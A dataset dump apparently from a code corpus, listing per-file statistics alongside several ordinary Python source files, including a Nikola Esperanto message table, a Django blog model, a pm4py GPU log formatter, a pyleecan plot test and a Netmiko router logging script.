687
5.816092
0.45977
0.088933
0.063241
0.106719
0.181818
0.181818
0
0
0
0
0
0
0.141194
687
32
77
21.46875
0.857627
0
0
0.111111
0
0
0.020378
0
0
0
0
0
0.166667
1
0.222222
false
0
0.222222
0.055556
0.722222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
dc362bba46a8f158a18291beafd2550a99917d83
1,848
py
Python
nikola/data/themes/base/messages/messages_eo.py
vault-the/nikola
c7a556b587004df442fdc9127c07997715556265
[ "MIT" ]
1
2021-01-03T01:54:37.000Z
2021-01-03T01:54:37.000Z
nikola/data/themes/base/messages/messages_eo.py
vault-the/nikola
c7a556b587004df442fdc9127c07997715556265
[ "MIT" ]
13
2021-01-21T04:54:51.000Z
2022-03-21T04:15:56.000Z
nikola/data/themes/base/messages/messages_eo.py
vault-the/nikola
c7a556b587004df442fdc9127c07997715556265
[ "MIT" ]
null
null
null
# -*- encoding:utf-8 -*- """Autogenerated file, do not edit. Submit translations on Transifex.""" MESSAGES = { "%d min remaining to read": "%d minutoj por legi", "(active)": "(aktiva)", "Also available in:": "Ankaŭ disponebla en:", "Archive": "Arkivo", "Atom feed": "", "Authors": "Aŭtoroj", "Categories": "Kategorioj", "Comments": "Komentoj", "LANGUAGE": "Esperante", "Languages:": "Lingvoj:", "More posts about %s": "Pli da artikoloj pri %s", "Newer posts": "Pli novaj artikoloj", "Next post": "Venonta artikolo", "Next": "", "No posts found.": "Neniu artikoloj trovitaj.", "Nothing found.": "Nenio trovita.", "Older posts": "Pli malnovaj artikoloj", "Original site": "Originala retejo", "Posted:": "Skribita:", "Posts about %s": "Artikoloj pri %s", "Posts by %s": "Artikoloj de %s", "Posts for year %s": "Artikoloj de la jaro %s", "Posts for {month} {day}, {year}": "Artikoloj de la {day}a de {month} {year}", "Posts for {month} {year}": "Artikoloj de {month} {year}", "Previous post": "Antaŭa artikolo", "Previous": "", "Publication date": "Eldona dato", "RSS feed": "RSS fluo", "Read in English": "Legu ĝin en Esperanto", "Read more": "Legu pli", "Skip to main content": "Salti al ĉefenhavo", "Source": "Fonto", "Subcategories:": "Subkategorioj:", "Tags and Categories": "Etikedoj kaj kategorioj", "Tags": "Etikedoj", "Toggle navigation": "Ŝalti menuon", "Uncategorized": "Sen kategorioj", "Up": "", "Updates": "Ĝisdatigoj", "Write your page here.": "Skribu tie vian paĝon.", "Write your post here.": "Skribu tie vian artikolon.", "old posts, page %d": "%da paĝo de malnovaj artikoloj", "page %d": "paĝo %d", "{month} {day}, {year}": "", "{month} {year}": "", }
36.235294
82
0.588203
213
1,848
5.103286
0.596244
0.040478
0.020239
0.031279
0
0
0
0
0
0
0
0.000692
0.218074
1,848
50
83
36.96
0.751557
0.048701
0
0
1
0
0.681507
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
dc420f3bc704858dc4746abe2044b41c94d6e866
212
py
Python
2. funcoes/angulo_de_regracao.py
andrebrito16/python-academy
544516048c0a2f8cea42ef0f252b9c40e8f5b141
[ "MIT" ]
1
2021-08-19T19:40:14.000Z
2021-08-19T19:40:14.000Z
2. funcoes/angulo_de_regracao.py
andrebrito16/python-academy
544516048c0a2f8cea42ef0f252b9c40e8f5b141
[ "MIT" ]
null
null
null
2. funcoes/angulo_de_regracao.py
andrebrito16/python-academy
544516048c0a2f8cea42ef0f252b9c40e8f5b141
[ "MIT" ]
null
null
null
from math import sin, radians, asin, degrees def snell_descartes(n1, n2, teta1): # n1*sin(teta1) = n2 * sin(teta2) # teta2 = n1 teta2 = (n1 * sin(radians(teta1)))/n2 return degrees(asin(teta2))
23.555556
44
0.636792
31
212
4.322581
0.483871
0.149254
0
0
0
0
0
0
0
0
0
0.084337
0.216981
212
8
45
26.5
0.722892
0.198113
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
dc451d66d8b76f9552de78d6f8265ea16b66e274
3,007
py
Python
pm4pygpu/format.py
mnghiap/pm4pygpu
3cd0dbcbf01377c3a9af5f748ef993c095de6b41
[ "Apache-2.0" ]
null
null
null
pm4pygpu/format.py
mnghiap/pm4pygpu
3cd0dbcbf01377c3a9af5f748ef993c095de6b41
[ "Apache-2.0" ]
null
null
null
pm4pygpu/format.py
mnghiap/pm4pygpu
3cd0dbcbf01377c3a9af5f748ef993c095de6b41
[ "Apache-2.0" ]
null
null
null
from pm4pygpu.constants import Constants from numba import cuda import numpy as np def post_grouping_function(custom_column_activity_code, custom_column_timestamp, custom_column_case_idx, custom_column_pre_activity_code, custom_column_pre_timestamp, custom_column_pre_case, custom_column_variant_number, custom_column_ev_in_case_idx): for i in range(cuda.threadIdx.x, len(custom_column_activity_code), cuda.blockDim.x): custom_column_variant_number[i] = (len(custom_column_activity_code) + i + 1) * (custom_column_activity_code[i] + 1) custom_column_ev_in_case_idx[i] = i if i > 0: custom_column_pre_activity_code[i] = custom_column_activity_code[i-1] custom_column_pre_timestamp[i] = custom_column_timestamp[i-1] custom_column_pre_case[i] = custom_column_case_idx[i-1] else: custom_column_pre_case[i] = -1 def post_filtering(df): cdf = df.groupby(Constants.TARGET_CASE_IDX) df = cdf.apply_grouped(post_grouping_function, incols=[Constants.TARGET_ACTIVITY_CODE, Constants.TARGET_TIMESTAMP, Constants.TARGET_CASE_IDX], outcols={Constants.TARGET_PRE_ACTIVITY: np.int32, Constants.TARGET_PRE_TIMESTAMP: np.int32, Constants.TARGET_PRE_CASE: np.int32, Constants.TARGET_VARIANT_NUMBER: np.int32, Constants.TARGET_EV_IN_CASE_IDX: np.int32}) df[Constants.TIMESTAMP_DIFF] = df[Constants.TARGET_TIMESTAMP] - df[Constants.TARGET_PRE_TIMESTAMP] return df def prefix_columns(df): columns = list(df.columns) columns = [x.replace("AAA", ":") for x in columns] df.columns = columns return df def apply(df, case_id="case:concept:name", activity_key="concept:name", timestamp_key="time:timestamp", resource_key="org:resource"): df = prefix_columns(df) df[Constants.TARGET_ACTIVITY] = df[activity_key].astype("category") df[Constants.TARGET_ACTIVITY_CODE] = df[Constants.TARGET_ACTIVITY].cat.codes df[Constants.TARGET_TIMESTAMP] = df[timestamp_key].astype("int") // 10**6 df[Constants.TARGET_TIMESTAMP + "_2"] = df[Constants.TARGET_TIMESTAMP] df[Constants.TARGET_EV_IDX] = df.index.astype("int") if resource_key is not None: df[Constants.TARGET_RESOURCE] = df[resource_key].astype("category") df[Constants.TARGET_RESOURCE_IDX] = df[Constants.TARGET_RESOURCE].cat.codes df = df.sort_values([Constants.TARGET_TIMESTAMP, Constants.TARGET_EV_IDX]).reset_index() df[Constants.TARGET_CASE_IDX] = df[case_id].astype("category").cat.codes #df = df.sort_values([Constants.TARGET_CASE_IDX, Constants.TARGET_TIMESTAMP, Constants.TARGET_EV_IDX]).reset_index() df[Constants.TARGET_EV_IDX] = df.index.astype("int") df[Constants.TARGET_EV_IDX] = df[Constants.TARGET_EV_IDX] + 1 mult_fact = df[Constants.TARGET_EV_IDX].max() + 2 df[Constants.TARGET_EV_CASE_MULT_ID] = df[Constants.TARGET_CASE_IDX].astype(np.int32) + 1 df[Constants.TARGET_EV_CASE_MULT_ID] = mult_fact * df[Constants.TARGET_EV_CASE_MULT_ID] df[Constants.TARGET_EV_CASE_MULT_ID] = df[Constants.TARGET_EV_CASE_MULT_ID] + df[Constants.TARGET_EV_IDX] return post_filtering(df)
61.367347
360
0.790156
459
3,007
4.812636
0.169935
0.258035
0.184699
0.094613
0.491172
0.349932
0.277048
0.232684
0.159801
0.133092
0
0.00993
0.095777
3,007
48
361
62.645833
0.802501
0.038244
0
0.095238
0
0
0.033064
0
0
0
0
0
0
1
0.095238
false
0
0.071429
0
0.238095
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
dc4f4a63f74db3ef68e4b3d83bc56a1482fafa87
2,456
py
Python
Tests/Plot/LamWind/test_Slot_60_plot.py
PMSMcqut/pyleecan-of-manatee
3efa06e8bc53c81a3e35457c108290e1d9ec1373
[ "Apache-2.0" ]
2
2020-06-29T13:48:37.000Z
2021-06-15T07:34:05.000Z
Tests/Plot/LamWind/test_Slot_60_plot.py
PMSMcqut/pyleecan-of-manatee
3efa06e8bc53c81a3e35457c108290e1d9ec1373
[ "Apache-2.0" ]
null
null
null
Tests/Plot/LamWind/test_Slot_60_plot.py
PMSMcqut/pyleecan-of-manatee
3efa06e8bc53c81a3e35457c108290e1d9ec1373
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ @date Created on Tue Jan 12 13:54:56 2016 @copyright (C) 2015-2016 EOMYS ENGINEERING. @author pierre_b """ from os.path import join from unittest import TestCase import matplotlib.pyplot as plt from numpy import array, pi, zeros from pyleecan.Classes.Frame import Frame from pyleecan.Classes.LamSlotWind import LamSlotWind from pyleecan.Classes.LamSquirrelCage import LamSquirrelCage from pyleecan.Classes.Machine import Machine from pyleecan.Classes.Shaft import Shaft from pyleecan.Classes.VentilationCirc import VentilationCirc from pyleecan.Classes.VentilationPolar import VentilationPolar from pyleecan.Classes.VentilationTrap import VentilationTrap from pyleecan.Classes.Winding import Winding from pyleecan.Classes.WindingUD import WindingUD from pyleecan.Classes.WindingCW2LT import WindingCW2LT from pyleecan.Classes.WindingDW2L import WindingDW2L from pyleecan.Classes.BHCurveMat import BHCurveMat from pyleecan.Classes.BHCurveParam import BHCurveParam from pyleecan.Classes.MatLamination import MatLamination from pyleecan.Classes.SlotW60 import SlotW60 from pyleecan.Tests.Plot import save_path from pyleecan.Tests.Plot.LamWind import wind_mat class test_Lam_Wind_60_plot(TestCase): """unittest for Lamination with winding plot""" def test_Lam_Wind_60(self): """Test machine plot with Slot 60 """ print("\nTest plot Slot 60") plt.close("all") test_obj = Machine() test_obj.rotor = LamSlotWind( Rint=0, Rext=0.1325, is_internal=True, is_stator=False, L1=0.9 ) test_obj.rotor.slot = SlotW60( Zs=12, W1=25e-3, W2=12.5e-3, H1=20e-3, H2=20e-3, R1=0.1325, H3=2e-3, H4=1e-3, W3=2e-3, ) test_obj.rotor.winding = WindingCW2LT(qs=3, p=3, Lewout=60e-3) plt.close("all") test_obj.rotor.plot() fig = plt.gcf() fig.savefig(join(save_path, "test_Lam_Wind_s60_1-Rotor.png")) # 1 for Lam, Zs*2 for wind self.assertEqual(len(fig.axes[0].patches), 25) test_obj.rotor.slot.W3 = 0 test_obj.rotor.slot.H3 = 0 test_obj.rotor.slot.H4 = 0 test_obj.rotor.plot() fig = plt.gcf() fig.savefig(join(save_path, "test_Lam_Wind_s60_2-Rotor Wind.png")) # 1 for Lam, Zs*2 for wind self.assertEqual(len(fig.axes[0].patches), 25)
32.746667
74
0.690147
341
2,456
4.879765
0.346041
0.129808
0.182692
0.038462
0.177284
0.139423
0.139423
0.139423
0.139423
0.139423
0
0.057054
0.214984
2,456
74
75
33.189189
0.806017
0.107899
0
0.148148
0
0
0.040275
0.024714
0
0
0
0
0.037037
1
0.018519
false
0
0.407407
0
0.444444
0.018519
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
dc50566acf856455bdeee2766f9b15e1576f4438
2,953
py
Python
research_site/blog/models.py
MatthewTe/research_site
cec4b09823488effdc4b249716b52530484a49c8
[ "MIT" ]
null
null
null
research_site/blog/models.py
MatthewTe/research_site
cec4b09823488effdc4b249716b52530484a49c8
[ "MIT" ]
null
null
null
research_site/blog/models.py
MatthewTe/research_site
cec4b09823488effdc4b249716b52530484a49c8
[ "MIT" ]
null
null
null
# Importing default django packages: from django.db import models from django.template.defaultfilters import slugify # Importing models from the research core: from research_core.models import Topic # Importing 3rd party packages: from tinymce import models as tinymce_models class BlogPost(models.Model): """The main model for Blog Posts. The main content for the blog is rendered via a tinymce HTML field and it connects to the research_core application via a ForeginKey connecton to the Topic model. Args: title (models.CharField): The title of the blog post that is displayed on the page and is used to generate the slug (unique ID) for the post. blog_thumbnail (models.ImageField): The image that is used as the thumbnail and header image in the blog post. If none is provided that thumbnail img for the posts' Topic object is used. content (tinymce.HTMLField): The main content of the blog post. It is HTML content that is stored in the database and is ediable in the admin page as a fully functional text editor. This field is a 3rd party package called TinyMCE that deals with all CRUD functions of the text field. published_at (models.DateTimeField): The datetime when the blog post was created. last_updated (models.DateTimeField): The datetime when the last changes were made to the model instance. slug (models.SlugField): The unique URL identifier that is used to query specific blog posts. It is generated by 'slugifying' the title or can be directly created. topic (models.ForeignKey): The topic that the blog post is assocaited with. It connects to the topic object in the 'research core' application via a ForeignKey. """ # Model Specific Fields: title = models.CharField(max_length=250, unique=True) blog_thumbnail = models.ImageField(upload_to="blog/thumbnails", null=True, blank=True, default=None) content = tinymce_models.HTMLField() published_at = models.DateTimeField(auto_now_add=True) last_updated = models.DateTimeField(auto_now=True) slug = models.SlugField(max_length=300, unique=True, null=True, blank=True) # Foregin Connection Fields: topic = models.ForeignKey(Topic, on_delete=models.SET_NULL, null=True) def save(self, *args, **kwargs): # If slug field is empty, generate slug based off of title: if self.slug: pass else: self.slug = slugify(self.title) # If there was no image field provided, use the thumbnail from the topic ForeginKey as the thumbnail: if self.blog_thumbnail: pass else: self.blog_thumbnail = self.topic.topic_img super(BlogPost, self).save(*args, **kwargs) class Meta: ordering = ["-published_at"] def __str__(self): return self.title
43.426471
122
0.69658
414
2,953
4.905797
0.342995
0.020679
0.02708
0.014771
0.065977
0.065977
0
0
0
0
0
0.003578
0.242804
2,953
68
123
43.426471
0.904741
0.585506
0
0.153846
0
0
0.024605
0
0
0
0
0
0
1
0.076923
false
0.076923
0.153846
0.038462
0.615385
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
dc59dc5b71bc2df003fb4821b909fc61b42c94fa
244
py
Python
exercicios/exercicio046.py
TayAntony/python
c79d62a12f48965ed374e4c037287a162a368a40
[ "MIT" ]
null
null
null
exercicios/exercicio046.py
TayAntony/python
c79d62a12f48965ed374e4c037287a162a368a40
[ "MIT" ]
null
null
null
exercicios/exercicio046.py
TayAntony/python
c79d62a12f48965ed374e4c037287a162a368a40
[ "MIT" ]
null
null
null
from time import sleep from cores import * print(f'{cores["azul"]}Em breve a queima de fogos irá começar...{limpar}') for c in range(10, -1, -1): print(c) sleep(1) print(f'{cores["vermelho"]}{fx["negrito"]}Feliz ano novo!{limpar} 🎆 🎆')
30.5
74
0.651639
43
244
3.744186
0.697674
0.074534
0.136646
0
0
0
0
0
0
0
0
0.024155
0.151639
244
7
75
34.857143
0.743961
0
0
0
0
0
0.512295
0.159836
0
0
0
0
0
1
0
false
0
0.285714
0
0.285714
0.428571
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
dc600239b48d84e8a3c314d3367ea64d86c3cba7
414
py
Python
apps/cadastro/models/__init__.py
AlcindoSchleder/ERPi-City
63f8871cbe0be372dae81e2e363e6733d5d34210
[ "MIT" ]
null
null
null
apps/cadastro/models/__init__.py
AlcindoSchleder/ERPi-City
63f8871cbe0be372dae81e2e363e6733d5d34210
[ "MIT" ]
11
2019-11-06T09:24:51.000Z
2021-03-24T19:18:12.000Z
apps/cadastro/models/__init__.py
AlcindoSchleder/ERPi-City
63f8871cbe0be372dae81e2e363e6733d5d34210
[ "MIT" ]
1
2020-06-27T02:29:19.000Z
2020-06-27T02:29:19.000Z
# -*- coding: utf-8 -*- from .base import ( Pessoa, PessoaFisica, PessoaJuridica, Endereco, Telefone, Email, Site, Banco, Documento, COD_UF, UF_SIGLA, ) from .empresa import Empresa, MinhaEmpresa from .cliente import Cliente from .fornecedor import Fornecedor from .transportadora import Transportadora, Veiculo from .produto import Produto, Unidade, Marca, Categoria
18.818182
55
0.698068
44
414
6.522727
0.636364
0
0
0
0
0
0
0
0
0
0
0.003106
0.222222
414
21
56
19.714286
0.888199
0.050725
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
dc6b05ea547d23e6274f4183f97bd2f598c016e9
713
py
Python
class4/exercise7.py
linkdebian/pynet_course
e0de498078ab914b3535fa2ea5c2e71d6e3799fb
[ "Apache-2.0" ]
null
null
null
class4/exercise7.py
linkdebian/pynet_course
e0de498078ab914b3535fa2ea5c2e71d6e3799fb
[ "Apache-2.0" ]
null
null
null
class4/exercise7.py
linkdebian/pynet_course
e0de498078ab914b3535fa2ea5c2e71d6e3799fb
[ "Apache-2.0" ]
null
null
null
# Use Netmiko to change the logging buffer size (logging buffered <size>) on pynet-rtr2. from getpass import getpass from netmiko import ConnectHandler def main(): password = getpass() pynet_rtr2 = {'device_type': 'cisco_ios', 'ip': '50.76.53.27', 'username': 'pyclass', 'password': password, 'port': 8022} ssh_connection = ConnectHandler(**pynet_rtr2) ssh_connection.config_mode() logging_command = ['logging buffered 20031'] ssh_connection.send_config_set(logging_command) output = ssh_connection.send_command('show run | inc logging buffered') outp = output.split() print "The new size of logging buffered is %s" % outp[2] if __name__ == "__main__": main()
24.586207
125
0.701262
92
713
5.195652
0.586957
0.125523
0.07113
0
0
0
0
0
0
0
0
0.035959
0.180926
713
28
126
25.464286
0.782534
0.120617
0
0
0
0
0.256039
0
0
0
0
0
0
0
null
null
0.214286
0.142857
null
null
0.071429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
dc78f1958822bfe1bb3123057ba41a3b7fb2318b
772
py
Python
matury/2020pr/zad42.py
bartekpacia/informatyka-frycz
6fdbbdea0c6b6a710378f22e90d467c9f91e64aa
[ "MIT" ]
2
2021-03-06T22:09:44.000Z
2021-03-14T14:41:03.000Z
matury/2020pr/zad42.py
bartekpacia/informatyka-frycz
6fdbbdea0c6b6a710378f22e90d467c9f91e64aa
[ "MIT" ]
1
2020-03-25T15:42:47.000Z
2020-10-06T21:41:14.000Z
matury/2020pr/zad42.py
bartekpacia/informatyka-frycz
6fdbbdea0c6b6a710378f22e90d467c9f91e64aa
[ "MIT" ]
null
null
null
from typing import List from reader import read_nums nums = read_nums() longest_reg_fragment: List[int] = [] reg_fragment: List[int] = [] current_gap = nums[1] - nums[0] for i in range(1, len(nums)): num1 = nums[i - 1] num2 = nums[i] gap = abs(num1 - num2) if not reg_fragment: reg_fragment.append(num1) continue if gap == current_gap: reg_fragment.append(num1) continue if gap != current_gap: reg_fragment.append(num1) if len(reg_fragment) > len(longest_reg_fragment): longest_reg_fragment = reg_fragment.copy() current_gap = gap reg_fragment = [num1] first = longest_reg_fragment[0] last = longest_reg_fragment[-1] print(first, last, len(longest_reg_fragment))
22.057143
57
0.650259
108
772
4.407407
0.287037
0.323529
0.226891
0.132353
0.228992
0.228992
0.228992
0.228992
0.228992
0.228992
0
0.024014
0.244819
772
34
58
22.705882
0.792453
0
0
0.2
0
0
0
0
0
0
0
0
0
1
0
false
0
0.08
0
0.08
0.04
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
dc7fef98ee8b4350186c803b3e6a489a9a3f0111
150
py
Python
arcpy_ListDatasets.py
geocot/Python_ArcGIS_Desktop
aef5d855d8ce3f564dd4fba80599be32b89fcb5b
[ "Apache-2.0" ]
null
null
null
arcpy_ListDatasets.py
geocot/Python_ArcGIS_Desktop
aef5d855d8ce3f564dd4fba80599be32b89fcb5b
[ "Apache-2.0" ]
null
null
null
arcpy_ListDatasets.py
geocot/Python_ArcGIS_Desktop
aef5d855d8ce3f564dd4fba80599be32b89fcb5b
[ "Apache-2.0" ]
null
null
null
import arcpy arcpy.env.workspace = "c:/temp/Donnees.gdb" arcpy.env.overwriteOutput = True listes = arcpy.ListDatasets() for d in listes: print(d)
21.428571
43
0.74
22
150
5.045455
0.727273
0.144144
0
0
0
0
0
0
0
0
0
0
0.133333
150
7
44
21.428571
0.853846
0
0
0
0
0
0.125828
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0.166667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
dc88339f42e2b1a9b7ab7afdaa2a87808aaca155
170
py
Python
reid/evaluation_metrics/__init__.py
xueping187/weakly-supervised-person-re-id
3cfe98264dcdb667c132727a57ab80da5a9e6a8f
[ "Apache-2.0" ]
2
2021-09-14T03:39:43.000Z
2021-09-14T03:41:04.000Z
reid/evaluation_metrics/__init__.py
xueping187/weakly-supervised-person-re-id
3cfe98264dcdb667c132727a57ab80da5a9e6a8f
[ "Apache-2.0" ]
null
null
null
reid/evaluation_metrics/__init__.py
xueping187/weakly-supervised-person-re-id
3cfe98264dcdb667c132727a57ab80da5a9e6a8f
[ "Apache-2.0" ]
null
null
null
from __future__ import absolute_import from .classification import accuracy from .ranking_1 import cmc, mean_ap __all__ = [ 'accuracy', 'cmc', 'mean_ap', ]
15.454545
38
0.711765
21
170
5.190476
0.571429
0.12844
0.165138
0
0
0
0
0
0
0
0
0.007353
0.2
170
10
39
17
0.794118
0
0
0
0
0
0.105882
0
0
0
0
0
0
1
0
false
0
0.375
0
0.375
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
dc88ab8f3f255c6120421288555f6c5b8861989f
279
py
Python
backend/database/db_result.py
Mancid/mancid_project
4923264af324439658ad256444f3af6a4963e44f
[ "Unlicense" ]
2
2021-05-12T14:10:16.000Z
2021-05-16T22:05:41.000Z
backend/database/db_result.py
Mancid/mancid_project
4923264af324439658ad256444f3af6a4963e44f
[ "Unlicense" ]
18
2021-05-11T14:24:05.000Z
2021-06-10T10:42:42.000Z
backend/database/db_result.py
Mancid/mancid_project
4923264af324439658ad256444f3af6a4963e44f
[ "Unlicense" ]
7
2021-05-01T17:50:54.000Z
2021-06-09T12:04:11.000Z
import logging def result_db(database): """ This function return the result of database. They return a dict :returns: a dict with all rows in database :rtype: dict """ logging.info("The result of filter") return list(database.find({}, {"_id": 0}))
21.461538
52
0.648746
39
279
4.589744
0.666667
0.100559
0.122905
0
0
0
0
0
0
0
0
0.004695
0.236559
279
12
53
23.25
0.835681
0.430108
0
0
0
0
0.17037
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
dc9b43d49a1297a0cd78d268ff6c9669c5fb1610
188
py
Python
bin/analytic/catalog/_mypath.py
DarkEnergyScienceCollaboration/chroma
64fc123a065334b307654f29b3bea52885b46ec8
[ "BSD-2-Clause", "BSD-3-Clause" ]
3
2015-10-22T14:57:27.000Z
2016-08-25T08:16:02.000Z
bin/publish/highlight_key_figure/_mypath.py
DarkEnergyScienceCollaboration/chroma
64fc123a065334b307654f29b3bea52885b46ec8
[ "BSD-2-Clause", "BSD-3-Clause" ]
1
2017-08-28T14:42:46.000Z
2017-08-28T16:08:37.000Z
bin/publish/highlight_key_figure/_mypath.py
DarkEnergyScienceCollaboration/chroma
64fc123a065334b307654f29b3bea52885b46ec8
[ "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
import os, sys thisdir = os.path.dirname(os.path.abspath(__file__)) libdir = os.path.abspath(os.path.join(thisdir, '../../../')) if libdir not in sys.path: sys.path.insert(0, libdir)
26.857143
60
0.680851
30
188
4.133333
0.5
0.193548
0.209677
0
0
0
0
0
0
0
0
0.006024
0.117021
188
6
61
31.333333
0.740964
0
0
0
0
0
0.047872
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
dca034f5cc1099ca680a5daf8638e61d4dde6b17
305
py
Python
preacher/compilation/yaml/tag/argument.py
ymoch/preacher
ae68170d14c72791884e91b20054bd13a79b52d0
[ "MIT" ]
3
2019-08-01T03:14:49.000Z
2020-01-31T08:55:22.000Z
preacher/compilation/yaml/tag/argument.py
ymoch/preacher
ae68170d14c72791884e91b20054bd13a79b52d0
[ "MIT" ]
353
2019-04-14T14:53:28.000Z
2022-03-11T03:26:08.000Z
preacher/compilation/yaml/tag/argument.py
ymoch/preacher
ae68170d14c72791884e91b20054bd13a79b52d0
[ "MIT" ]
1
2020-08-01T06:23:08.000Z
2020-08-01T06:23:08.000Z
from yaml import Node from yamlen import Tag, TagContext from preacher.compilation.argument import Argument class ArgumentTag(Tag): def construct(self, node: Node, context: TagContext) -> object: key = context.constructor.construct_scalar(node) # type: ignore return Argument(key)
27.727273
72
0.740984
37
305
6.081081
0.621622
0
0
0
0
0
0
0
0
0
0
0
0.180328
305
10
73
30.5
0.9
0.039344
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0.428571
0
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2